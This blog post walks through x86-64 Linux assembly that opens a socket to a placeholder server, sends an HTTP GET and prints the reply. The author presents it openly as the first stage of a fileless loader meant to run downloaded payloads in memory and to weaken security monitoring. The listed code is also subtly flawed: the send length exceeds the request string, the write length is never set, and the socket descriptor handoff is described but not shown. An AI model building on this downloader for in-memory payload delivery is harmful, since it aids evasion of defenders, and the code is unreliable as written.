Under the C: Assemble an HTTP Request

To continue our journey, I prefer to delve deeper and embark on an adventure with Assembly. My main idea revolves around executing a piece of code directly in memory, which should be retrieved from an external machine. So, in this post, it’s good to implement a necessary functionality for our work at a lower level. One of these functionalities is retrieving content from an external machine via HTTP.

Why Assembly?

Because I love Assembly 😀 ,but It can really help us start discussing some advanced topics such as evading security monitoring and logging systems, covering tracks, directly interacting with hardware, implementing fileless *wares, and some other cool stuff. One may say efficiency. I really don’t understand if anyone wants to discuss performance in terms of code cleanliness or speed for the matter. But yes, it is so efficient compared with higher-level languages. But I translate the Efficiency to controllable, for our stuff.
Yet, I’m trying to elucidate this question(Why Assembly?) with five reasons:

  • Low-level system manipulation: Assembly allows direct interaction with hardware and memory, providing precise control over system operations and manipulations.
  • Fileless stuffs: To make detection and removal difficult, Assembly can be the Swiss Army Knife. On the other hand, residing code directly in memory can be done easier and more controllable by using Assembly.
  • Asthenicing security and observability measures: Let’s not say Bypass, but Asthenic. Using Assembly can advance the evading or weakening of security measures.
  • Efficiency: In my vocabulary it is much controllable and I translate this, efficient.
  • Reverse engineering: Virtually, The art of reverse engineering to find vulnerabilities has a direct relationship with understanding Assembly.

I’m tired of explanation 🙁 So, let’s move on.

HTTP in Assembly’s realm

Since my old days, I have concluded that coding in Assembly, even a simple code, can give me a lot of understanding of how computers and functions work. HTTP requests to external servers have been mainly one of the red team operations routines (not always, but often). Also, to continue our path to develop kernel modules (perhaps in our case, their names are reminiscent of rootkits) and achieve better performance in obtaining various stuff such as the address of symbols and the operation in memory instead of touching the disk, we may need to implement some things in the Assembly.

I implemented a simple Assembly code to download a file from a remote server and write the content of the file in stdout. The server includes a file(say file.txt) in the web root path and we can retrieve that by requesting to http://1.2.3.4/file.txt (The 1.2.3.4 address just is a dummy placeholder 😀 ,change this with your own external server IP address). You may want to change the path of the file. It’s easy. Let’s see.

First, I defined a data section(segment of memory where I defined and stored constants, variables, and other data that the program will use) to keep the constants like url, http headers, file path and IP address:

.data
url: .asciz "1.2.3.4" ; or .asciz "example.com"
path: .asciz "/file.txt"
http_request: .asciz "GET /file.txt HTTP/1.1\r\nHost: 1.2.3.4\r\nUser-Agent: curl/7.81.0\r\nAccept: */*\r\nConnection: close\r\n\r\n"
ip_address: .byte 1, 2, 3, 4

Let’s explain line by line:

  • .data: This directive indicates the beginning of the data section, where you define constants and initialized data.
    • url: is a label for a null-terminated string (C-style string) containing the IP address of the remote server(or domain name).
    • path: is a label for a null-terminated string containing the path to the file you want to request from the server.
    • http_request: is a label for a null-terminated string containing the HTTP GET request. This request includes:
      • The request line: GET /file.txt HTTP/1.1
      • The host header: Host: 1.2.3.4
      • The user-agent header: User-Agent: curl/7.81.0
      • The accept header: Accept: /
      • The connection header: Connection: close
    • ip_address: is a label for a sequence of bytes representing the IP address of the remote server in a format that can be used for network operations.

So far, the code set up the necessary data for making an HTTP request to a remote server.

Second, I defined a bss(or Block Started by Symbol) section(segment of memory used for declaring variables that are uninitialized at the start of the program) to allocate some bytes of space for storing the response from the server:

.bss
buffer: .space 4096
  • .bss: This directive indicates the beginning of the bss section.
    • buffer: allocates 4096 bytes of space for storing the response from the server.

Third, I defined a text section(part of an object file or the corresponding section of a program’s virtual address space that contains executable instructions) for create a container for the executable code(or instructions) of the program:

.text
.global _start
  • .text: The .text directive indicates the beginning of the text section of program. This section contains the executable code(or instructions) of the program. It’s where the actual logic of your program resides.
    • .global: The .global directive declares a symbol(in this case, _start) as global, meaning it can be accessed from other files or modules. The _start symbol is typically used as the entry point of your program. When the program is executed, the operating system transfers control to the address labeled _start.

Now, we can code the logic under _start section. First let’s find what we will need for downloading a text file from remote server and print its contents to stdout:

Socket creation

At a basic level, first, we need to create a socket:

_start:
    mov $41, %rax
    mov $2, %rdi
    mov $1, %rsi
    mov $6, %rdx
    syscall

This code creates a socket using the socket system call(syscall 41). After putting the syscall number(41) to the rax register, we should put the first argument of the syscall to rdi, second to rsi and third to rdx register(you probably familiar with x64 calling convention and function parameter handling):

  • AF_INET(IPv4) as the address family(%rdi = 2).
  • SOCK_STREAM(TCP) as the socket type(%rsi = 1).
  • IPPROTO_TCP as the protocol(%rdx = 6).

Now, we can execute the system call with syscall instruction.

Connect to server

Second, we need to connect to the server using connect system call:

    mov $42, %rax
    lea sockaddr(%rip), %rsi
    mov $16, %rdx
    syscall

This code uses the connect system call(syscall 42) to connect to the server with parameters:

  • The socket descriptor(%rdi) – Note that the socket descriptor stored to the rdi register for using in this system call. As you know, the return value of the system call stores in rax register so we just need to copy the value from rax to rdi register.
  • The address of the server (%rsi).
  • The size of the address structure(%rdx = 16).

The sockaddr is a socket structure defined here.

Now, we can execute the system call with syscall instruction.

Send HTTP request

Third, we need to send an HTTP request to the remote server by send system call:

    mov $44, %rax
    lea http_request(%rip), %rsi
    mov $4096, %rdx
    syscall

This code uses the send system call(syscall 44) to send the HTTP request to the server with parameters:

  • The socket descriptor(%rdi).
  • The address of the HTTP request string(%rsi).
  • The length of the request(%rdx = 4096).

Now, we can execute the system call with syscall instruction.

Receive response

Forth, we need to receive our recently sent HTTP request response by recv system call:

    mov $45, %rax
    lea buffer(%rip), %rsi
    mov $4096, %rdx
    syscall

This code uses the recv system call(syscall 45) to receive the response from the server with parameters:

  • The socket descriptor(%rdi).
  • The address of the buffer to store the response(%rsi).
  • The maximum length of the response(%rdx = 4096).

Now, we can execute the system call with syscall instruction.

Show the response

Now, we can show the response(contents of download file, file.txt) by write system call:

    mov $1, %rax
    mov $1, %rdi
    lea buffer(%rip), %rsi
    syscall

This code uses the write system call(syscall 1) to write the response to the stdout with parameters:

  • 1(file descriptor for stdout)(%rdi)
  • Address of buffer(pointer to the data to be written)(%rsi)

Now, we can execute the system call with syscall instruction.

Terminate the program

Now, we can terminate the program by exit system call in _exit section of the code:

_exit:
    mov $60, %rax
    xor %rdi, %rdi
    syscall

This code uses the exit system call(syscall 60) to terminate the program. It also clean the rdi register with xor instruction.

And… That’s it.
At this point I want to clarify some lines and sections. The first is that you may name it error check. This section exists after all syscall instructions:

    test %rax, %rax
    js _exit

This code checks if the receive operation was successful. If not, it jumps to _exit.

And there is an additional data section in the end of the code:

.data
sockaddr:
    .word 2
    .word 0x5000
    .byte 1, 2, 3, 4
    .byte 0, 0, 0, 0, 0, 0, 0, 0

This includes a structure to that used here. This socket structure includes:

  • Address family(AF_INET).
  • Port number(0x5000).
  • IP address(1.2.3.4).
  • Padding bytes.

Now we should assemble and execute the code. First we should assemble the code file(dl.s) with:

# as -o dl.o dl.s
Bash

Then, we should link the dl.o object file:

# ld dl.o -o dl
Bash

Now, we can execute the code with:

# ./dl
Bash

The assembly code pushed here.

And then…?

Cool! That was a interesting and effective jump to next step of our journey. Later, we will see that we can execute the payload, downloaded from the remote server, directly in memory.

Leave a Reply

Your email address will not be published. Required fields are marked *

six + two =